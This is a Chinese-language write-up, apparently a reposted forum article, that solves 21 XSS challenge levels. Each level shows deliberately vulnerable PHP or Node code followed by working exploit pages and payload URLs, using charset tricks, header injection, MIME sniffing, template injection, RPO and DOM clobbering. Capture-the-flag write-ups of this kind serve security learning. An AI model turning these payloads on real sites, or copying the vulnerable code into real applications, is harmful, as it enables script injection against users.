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XSS挑战赛 的xss知识点及答案

2017年08月31日 21:17 汪洋大海 暂无评论 阅读 16 views 次

M师傅语录:
题目很多围绕着security header来出题,希望开发者重视这些问题,在防御上,正确的设置下面的值,是能够避免很多问题.
content-type、x-xss-protection、x-frame-options、x-content-type-options

1. 文件上传

<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".<BR>";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>

http://xianzhi.aliyun.com/xss1.php

此题xss点是在文件上传后,页面会显示文件名,但是有一个问题就是,如何自动化的利用?
毕竟js上传文件有跨域问题,那么也就只能利用html表单

通过这样的思路找到还可以利用html表单上传文件?
http://blog.bentkowski.info/2015/05/xss-via-file-upload-wwwgooglecom.html

其实文件并没有上传,只是利用表单的name,闭合一下后添加了fielname

正常文件上传:

正常文件上传数据包

带有content-type

伪造文件上传:

带有content-type 伪造文件上传 的数据包

不带有content-type,但是$_FILES["fileToUpload"]["name"]还是可以接受到值的

所以可以构造一下Exp:

http://ns1.rootk.pw:8080/xss/wp/1.html

<html>
<body>
    <form id="xss" action="http://xianzhi.aliyun.com/xss1.php" method="POST" enctype="multipart/form-data">
      <textarea type="text" id="vulnerable" value="" /></textarea>
    </form>
 <script>
 var tarfile = "test";
 var vuln = document.getElementById('vulnerable');
 vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";
 vuln.value = (tarfile);
 document.getElementById("xss").submit();
 </script>
</body>
</html>

当时自己并非用的textarea标签,而是input,这个标签只能用到IE8,之后的版本会对双引号进行url编码

ref: http://kuza55.blogspot.hk/2008/02/csrf-ing-file-upload-fields.html

2. getallheaders()

<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100)); 
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER'])) 
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
    echo "$name: $value\n";
}
}
?>
</body>
</html>

http://xianzhi.aliyun.com/xss2.php

此题就是会把HTTP所有信息输出到页面,但是不能使用Referrer
问题也很明显,请求这个地址,而且又是能够利用代码自动化的添加头去请求.

这里面特别要注意的是开始的两个头

header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100)); 

也就是浏览器会对网页进行缓存,那么如果第一次我能够修改http头然后再进行跨域请求,第二次再请求一次的时候,http的信息还是不会变的,因为直接读取了本地缓存内容.

所以可以使用Fetch先请求,在利用iframe框架进行第二请求,另外注意的就是需要通过meta标签来设置一下referrer,也就是第二次iframe加载的时候是不带referer的.按道理可以在FF下面也成功,不过好像FF不支持meta这样禁止referer

Chrome Exp:
http://ns1.rootk.pw:8080/xss/wp/2.php

<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://xianzhi.aliyun.com/xss2.php', {
  method: 'GET',
  mode: 'no-cors',
  redirect: 'follow',
  headers: new Headers({
    'Content-Type': 'text/plain',
    'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
  })
});
fetch(request).then(function() {
  console.log(1);
});
</script>
</head>
<body>
<iframe src="http://xianzhi.aliyun.com/xss2.php"></iframe>
</body>
</html>

ref: https://www.w3.org/TR/cors/#simple-header

3. json

<?php
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>

http://xianzhi.aliyun.com/xss3333.php?value=test

这个题目问题在于返回头是application/json,又应该如何xss

这里利用了IE一个bug,参考文章:http://www.qingpingshan.com/jb/javascript/184536.html

IE11 Exp:
http://ns1.rootk.pw:8080/xss/wp/3.html

3.html

<meta charset=utf-8>
<iframe id=x src=3.php></iframe>
<script>
x.location.reload();
</script>

3.php

<?php
header("location: http://xianzhi.aliyun.com/xss3333.php?value=<img%20src=x%20onerror=alert(document.domain)>");
?>

修复方案: 加上响应头,X-Content-Type-Options: nosniff

4. Referer

<?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自:".$_SERVER['HTTP_REFERER'];?>
</body>
</html>

http://xianzhi.aliyun.com/xss4.php

输出点是referer,chrome、firefox会对query进行url编码,但是IE并不会

参考文章:
http://www.mottoin.com/88317.html
捉到一个M师傅:http://www.hackdig.com/?04/hack-9586.htm

IE11 exp: http://ns1.rootk.pw:8080/xss/wp/4.html?a<img src=1 onerror=alert(document.domain)>

<html>
<body>
<form id="xss"
      name="xss"
      method="GET"
      action="http://xianzhi.aliyun.com/xss4.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>

M师傅语录:

Referrer不会被URL编码的现象,主要是在Windows7和Windows8.1
Win10的IE11以前也有,不过在打完Anniversary Update补丁之后,在对referrer的处理上做了一些改动。变成了会对referrer进行URL编码

所以比较通用的办法是通过flash发送请求,AS代码如下:

package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
}
}

Ref:http://masatokinugawa.l0.cm/2016/10/referrer-xss-win10.html


另外在找资料也看到一些东西,记录一下

# 会传送referer
https->https
http->https
http->http

# 不会传送refer
https->http

5. 跳转

<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode(""),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>

http://xianzhi.aliyun.com/xss5.php?url=http://baidu.com

这个问题主要是想办法去让浏览器不进行跳转.

翻到p师傅blog曾经对bottle http注入的一段: https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

这里我使用的是端口小于80,FF就不会进行跳转

FF exp:

http://xianzhi.aliyun.com/xss5.php?url=http://baidu.com:0/'><img src=1 onerror=alert(document.domain)><a>

ref: http://d.hatena.ne.jp/hasegawayosuke/20161210/p1

6. 强制下载

<?php
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>

http://xianzhi.aliyun.com/xss6.php?filename=download&url=http://xianzhi.aliyun.com/xss2.php

这个是需要绕过文件下载,在第5题中p师傅的文章里面提到了一个点

为PHP的header函数一旦遇到\0、\r、\n这三个字符,就会抛出一个错误,此时Location头便不会返回,浏览器也就不会跳转了

同理是可以用在文件下载中

FF exp:

http://xianzhi.aliyun.com/xss6.php?url=http://ns1.rootk.pw:8080/xss/wp/6.php&filename=aaa%0a

ref: https://twitter.com/mramydnei/status/782324732897075200

7. text/plain

<?php
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>

http://xianzhi.aliyun.com/xss7.php?url=http://xianzhi.aliyun.com/xss2.php

MIME的题目,返回头Type为text/plain应该如何绕过

找到一个近期公布的IE 0day
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/

利用的是email文件,里面的内容会被解析html,这里可以利用iframe来加载目标地址,这样内容就会被解析啦。

IE exp:
http://ns1.rootk.pw:8080/xss/wp/9.eml

9.eml

TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27http=3A=2f=2fxianzhi.aliyun.com=2fxss7.php=3Furl=3Dhttp=3A=2f=2fns1.rootk.pw=3A8080=2fxss=2fwp=2f9.txt=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E

防御:这里多亏M师傅的提醒,文章中的X-Content-Type-Options: nosniff是可以防御的,相反X-Frame-Options: DENY并不能从根本去解决这个问题,这个只是防御了一种攻击方式,但是漏洞点却还在,真是留了一个大坑.

ref: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/

8. 标签

<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=utf-8");

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$rule="/<[a-zA-Z]/";
$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
$content=stream_get_contents($stream);
if(preg_match($rule,$content))
{
echo "XSS Detected!";
}
else
{
echo $content;
}
}
else
{
echo "Bad URL!";
}
?>

http://xianzhi.aliyun.com/xss8.php?url=http://xianzhi.aliyun.com/test.txt

此题想考察的是<后面还可以存在非字母形式的,空格等一些空白字符当然是不行的.

https://dev.w3.org/html5/spec-LC/parsing.html

A sequence of bytes starting with: 0x3C 0x21 (ASCII '<!')
A sequence of bytes starting with: 0x3C 0x2F (ASCII '</')
A sequence of bytes starting with: 0x3C 0x3F (ASCII '<?')

可以看到还能以这些作为开头,在IE9、10里面有一个vector可以无交互执行js

8.txt

<% contenteditable onresize=alert(document.domain)>

现在问题就是IE11这个是无法触发的,但是可以通过x-ua-compatible设置文档兼容性,让它也能够兼容IE9、10的内容

即便iframe内页面和父窗口即便不同域,iframe内页面也会继承父窗口的兼容模式,所以IE的一些老技巧、特性可以通过此方法去复活它.

IE11 exp:
http://ns1.rootk.pw:8080/xss/wp/8.html

8.html

<meta http-equiv=x-ua-compatible content=IE=9>
<iframe id=x src="http://xianzhi.aliyun.com/xss8.php?url=http://ns1.rootk.pw:8080/xss/wp/8.txt"></iframe>

9. plaintext

<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>

http://xianzhi.aliyun.com/xss9.php?text=test

代码简单,但是绝对够爽的一道题目,就是如何逃逸plaintext这个标签

我们有时候在使用浏览器的时候,也会遇到编码不同导致乱码问题,这个问题主要在于服务端和客户端之间的字符集存在差异导致的.

关于这个也找到一篇文章:https://www.ibm.com/developerworks/cn/web/wa-lo-ecoding-response-problem/index.html

上面的由于两端的差别导致的乱码,从xss角度出发,我们也就只能分析客户端
所以问题来了:http的响应头的编码、页面的meta等都可以设置头的东西,那么具体是什么时候具体对应的会起作用?

先来了解一下浏览器的一些解析过程.
https://dev.w3.org/html5/spec-LC/parsing.html

浏览器的一些解析过程.

第一个是ua里面已经确认指明了才会选择
第二个是http响应头大编码设置,也就是Content-Type,当它设置了charset并且支持这个charset,也就是不为空并且字符集是存在的,题目的编码是不存在的编码GB3212,所以符合
第三个就是<font style="color: red">如果meta标签设置编码是在html前1024个字节的时候,浏览器会根据这个编码去解析</font>,这个是浏览器直接解析,完全是不受plaintext影响

所以第一步就是利用meta来改变页面的字符集.

第二步,需要做的就是去利用字符集之间的差异,寻找异类的字符集

我们平常见到<的编码是\x3C,但是这个是UTF-8的,在其他编码的字符集中就有可能不是这个结果了,这里使用的是cp1025编码

http://xianzhi.aliyun.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">

cp1025编码

可以看到plaintext已经不见了

第三步,确认异类字符集的编码表,这样就可以构造好自己的payload
这里需要跑一下来确认.

fuzz.php

<meta http-equiv="content-Type" content="text/html; charset=gb3212">
<?php
if(!ini_get('safe_mode')){
    set_time_limit(0);
}
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<html>
<head></head>
<body></body>
<script>
function hex_pad(int_){
    hex_ = int_.toString(16);
    if(hex_.length==1){
        hex_ = '0'+hex_;
    }
    return hex_;
}
for(var i=0;i<255;i++){
    var id = 'id_'+hex_pad(i);
    var divO = document.createElement('div'); 
    divO.id = id;
    divO.innerHTML = hex_pad(i);
    document.body.appendChild(divO);

    var iframea = document.createElement('iframe'); 
    iframea.src= 'http://a.com/test/xss/xsschange/9/game.php?text='+"%"+hex_pad(i);
    document.getElementById(id).appendChild(iframea);
}
</script>
</html>

其中还有一个game.php作为接口,利用iframe去得到字符集

<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=cp1025");
?>
<?php echo @$_GET["text"];?>

fuzzy xss

这里就表明了,比如想要得到字符m,那就输入url编码%94

附上一点cp1025的编码

<  %4c
>  %6e
/  %61
(  %4d
)  %5d
=  %7e
;  %5e
'  %7d

IE payload:

http://xianzhi.aliyun.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e

PS: 关于meta的一些使用语法可以看看这.
https://www.w3.org/TR/html401/struct/global.html#h-7.4.4

ref: https://github.com/cure53/XSSChallengeWiki/wiki/Puzzle-3-on-kcal.pw

10. MVM

<html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>

http://xianzhi.aliyun.com/xss10.php?username=hiphopman

对框架不是很熟悉,提示是Client Side Template Injection,翻M师傅推特找到一个利用

FF && Chrome Exp

{{[].pop.constructor('alert()')()}}

http://xianzhi.aliyun.com/xss10.php?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D

ref: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

11. HOST

"use strict";
var http = require('http');

(function(){
    http.createServer(function (req, res) {
            res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
            res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );

    }).listen(80);
    console.log( "Running server on port 80" );
})();

http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com/

HOST头注入,这里又需要用到IE下一个奇怪的姿势.

https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/

重点部分:

host head

所以可以构造

11.php

<?php
header('HTTP/1.1 307 Redirect');
header('Location: '.$_GET['u']);

IE11 exp

http://ns1.rootk.pw:8080/xss/wp/11.php?u=http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com%252f<%252ftitle><script>alert(document.domain)<%252fscript><!--.baidu.com

这里最新的IE11是失效的,ie11.483.15063.0失败,本地成功的IE版本为 ie11.0.9600.17843

ref: http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html

12.php

<?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>

ref: https://xianzhi.aliyun.com/forum/read/224.html

13. REQUEST_URI

<?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>

http://xianzhi.aliyun.com/xss13.php

REQUEST_URI请求的xss,在IE下,加一次跳转就不会进行编码

IE exp:
http://ns1.rootk.pw:8080/xss/wp/13.php

13.php

<?php
header("Location: http://xianzhi.aliyun.com/xss13.php/<svg/onload=alert(document.domain)>");

ref: https://speakerdeck.com/masatokinugawa/xss-attacks-through-path

14. HIDDEN

<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
  echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>

http://xianzhi.aliyun.com/xss14.php?token=233

很久经典的一个问题,模糊记得xss书上有讲这个问题,因为标签里面有hidden属性的存在,导致大部分事件没法直接触发

所以一般分为两点,输出点是在hidden属性之前还是之后(不能闭合掉input的情况下)

  1. 之前则可以覆盖type为其他的,<input value="a" src=1 onerror=alert(1) type="image" type="hidden">
  2. 之后的话,只能通过间接的方式来触发,比如大家熟知的' accesskey='x' onclick='alert(/1/),然后按shift+alt+x触发xss,但是还可以这样操作,无交互的触发xss,相比起来已经是无限制了,'style='behavior:url(?)'onreadystatechange='alert(1)

参考文章:http://masatokinugawa.l0.cm/2016/04/hidden-input-xss.html

IE exp:

http://xianzhi.aliyun.com/xss14.php?token=%27style=%27behavior:url(?)%27onreadystatechange=%27alert(1)

15. Frame Buster

<?php
header("X-XSS-Protection: 0");
$page=strtolower($_GET["page"]);
$regex="/on([a-zA-Z])+/i";
$page=str_replace("style","_",$page);
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<form action='xss15.php?page=<?php
if(preg_match($regex,$page))
{
echo "XSS Detected!";
}
else
{
echo htmlspecialchars($page);
}
?>'></form>
<script>
if(top!=self){
 location=self.location
}
</script>
</body>
</html>

http://xianzhi.aliyun.com/xss15.php?page=1

很有意思的一个题目,一种防御iframe框架加载的方式,如果用框架加载的话,会让页面一直刷新....此题提示是DOM Clobbering

什么又是DOM Clobbering,在IE8下,abc.def将会是123

<form id=abc def=123></form>
<script>
alert(abc.def)
</script>

那么题目中的self.location也就可以通过这样的方式去覆盖值.

IE exp:
http://ns1.rootk.pw:8080/xss/wp/15.html

<meta http-equiv=x-ua-compatible content=IE=8>
<iframe src="http://xianzhi.aliyun.com/xss15.php?page=1'name=self location='javascript%3Aalert(document.domain)"></iframe>

当然还是需要注意调节兼容性,关于兼容性,可以看第八题的writeup
更多关于DOM Clobbering的文章:
ref: http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream

16. PHP_SELF

<html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","<",$_SERVER['PHP_SELF']);
$output=str_replace(">",">",$output);
echo $output;
?>
</h1>
</body>
</html>

http://xianzhi.aliyun.com/xss16.php

一个比较明显的RPO漏洞,但是国内对这方面介绍比较少

http://www.mbsd.jp/Whitepaper/rpo.pdf
这个文档对RPO讲的比较清楚

总结起来就是因为php_self的存在,下面这个css会根据链接情况来加载

<link href="styles.css" rel="stylesheet" type="text/css" />

当我访问xianzhi.aliyun.com/xss16.php的时候,web相对路径就是/,这时候加载的css就是xianzhi.aliyun.com/styles.css

但是当我访问xianzhi.aliyun.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/,也就是{}*{background-color: red}*{},web的相对路径就是/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/,这时候加载的css内容是http://xianzhi.aliyun.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/styles.css

css解析

css的解析并没有像html那么严格,所以你可以看到网页将会被渲染为红色。

高潮部分来了,现在想办法就是利用css去加载js
http://blog.innerht.ml/cascading-style-scripting/

可以利用sct文件,但是缺陷就是sct必须要是在同域下.

可以发现题目还有一个xss.png....内容如下

<scriptlet>
    <implements type="behavior"/>
    <script>alert(1)</script>
</scriptlet>

IE exp:

http://xianzhi.aliyun.com/xss16.php/{}*{behavior:url(http://xianzhi.aliyun.com/xss.png)}*{}/

当然css触发xss的,还可以用expression

ref: http://www.thespanner.co.uk/2014/03/21/rpo/

17. passive element

<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
?>

http://xianzhi.aliyun.com/xss17.php?content=data

输出点在div里面,这种被动元素如何去触发xss?

html5sec总结:https://html5sec.org/#145
所以可以被动一点,需要用户点击一下之类操作去触发xss

IE exp:

http://xianzhi.aliyun.com/xss17.php?content=a%27%20style=%27-webkit-user-modify:read-write%27%20onfocus=%27alert(1)%27%20id=%27xss

但是M师傅提供了一个比较通用而且无需用户交互的poc

除FF以外的浏览器 exp:

http://xianzhi.aliyun.com/xss17.php?content=%27onfocus=%27alert(1)%27%20contenteditable%20tabindex=%270%27%20id=%27xss#xss

ref: https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw

18. Graduate

<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 1");
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<textarea>
<?php
//Fix#001
$input=str_replace("<script>","",$_GET["input"]);
//Fix#002
$input=str_replace("/","\/",$input);
echo $input;
?>

</textarea>
</body>
</html>

http://xianzhi.aliyun.com/xss18.php?input=plaintext

也是炒鸡好的题目,输入点在textarea里面,在不能闭合的情况下搞事情

有一个细节就是,开启了xss保护
在IE下,这个保护是他会把认为有害的字符过滤掉

xss保护

IE exp:

http://xianzhi.aliyun.com/xss18.php?input=<textarea><img%20src=1%20on<script>error=alert(document.domain)>

ref: https://www.slideshare.net/codeblue_jp/xss-attacks-exploiting-xss-filter-by-masato-kinugawa-code-blue-2015

19. Party(未做出)

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>

function getCookie(cname) {
    var name = cname + "=";
    var decodedCookie = decodeURIComponent(document.cookie);
    var ca = decodedCookie.split(';');
    for(var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

function checkCookie() {
    var user=getCookie("username");
    if (user != "") {
        document.write("欢迎, " + unescape(user));
    } else {
         alert("请登陆")
    }
}

</script>
</head>
<body onload="checkCookie()">
<?php echo '<img name="avatar" src="'.str_replace('"',""",$_GET["link"]).'" width="30" height="40">';?>
</body>
</html>

[img]http://xianzhi.aliyun.com/xss19.php?link=http://up.qqjia.com/z/face01/face06/facejunyong/junyong02.jpg[/img]

FF exp:

http://xianzhi.aliyun.com/xss19.php?link=data:image%2fsvg%2bxml,<meta%20xmlns=%27http://www.w3.org/1999/xhtml%27%20http-equiv=%27Set-Cookie%27%20content=%27username=%25%32%35%33%43script%25%32%35%33%65alert%25%32%35%32%381%25%32%35%32%39%25%32%35%33%43%25%32%35%32%66script%25%32%35%33%65%27%20/>

ref: http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html

20. The End(未做出)

<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");

$hookid=str_replace("=","",htmlspecialchars($_GET["hookid"]));
$hookid=str_replace(")","",$hookid);
$hookid=str_replace("(","",$hookid);
$hookid=str_replace("`","",$hookid);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
hookid='<?php echo $hookid;?>';
</script>
<body>
</body>
</html>

http://xianzhi.aliyun.com/xss20.php?hookid=9527

IE exp

http://xianzhi.aliyun.com/xss20.php?hookid='%2b{valueOf:location, toString:[].join,0:'javascript:alert%25281%2529',length:1}%2b'

ref: https://twitter.com/xssvector/status/213631832053395456

另外膜一下一血大佬用safari的0day做出来了.

21. 番外番 jquery

<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
<script src="https://code.jquery.com/jquery-3.2.1.js" integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE=" crossorigin="anonymous"></script>
<script>
window.jQuery || document.write('<script src="http://xianzhi.aliyun.com/jquery.js"><\/script>');
</script>
</head>
<body>
<script>
    $(function(){
        try { $(location.hash) } catch(e) {}
    })

</script>
</body>
</html>

http://xianzhi.aliyun.com/xss21.php

juqery高版本不适合一些低版本的浏览器,或者意外因素(中国网络环境),cdn的jqeury可能会加载失败,这时候就需要加载一下本地的jquery,本地加载的jquery版本为1.6.1是存在漏洞

但是网络环境不可控,为了稳定的让受害者加载带有漏洞的jquery,那么一定要<font style="color: red">让cdn的jquery加载失败</font>~

只要请求远程cdn时有某个header,比如说referrer,超出了cdn服务器所能接受的范围,就会产生拒绝请求的现象,比如很长串的字符.

chrome Exp:

http://xianzhi.aliyun.com/xss21.php?a=a....(中间省略9000个a)#<img src=1 onerror=alert(0)>

让cdn的jquery加载失败

另外就是踩的一些坑

FF测试不成功,应该它对location.hash的操作,比如<还会url编码
safai,空格会自动%20编码
另外<svg/onload=alert(1)>操作不会成功,因为网页是已经加载好了

ref: https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016

文章为转载,文章来源:https://xianzhi.aliyun.com/forum/read/2044.html 先知技术论坛社区

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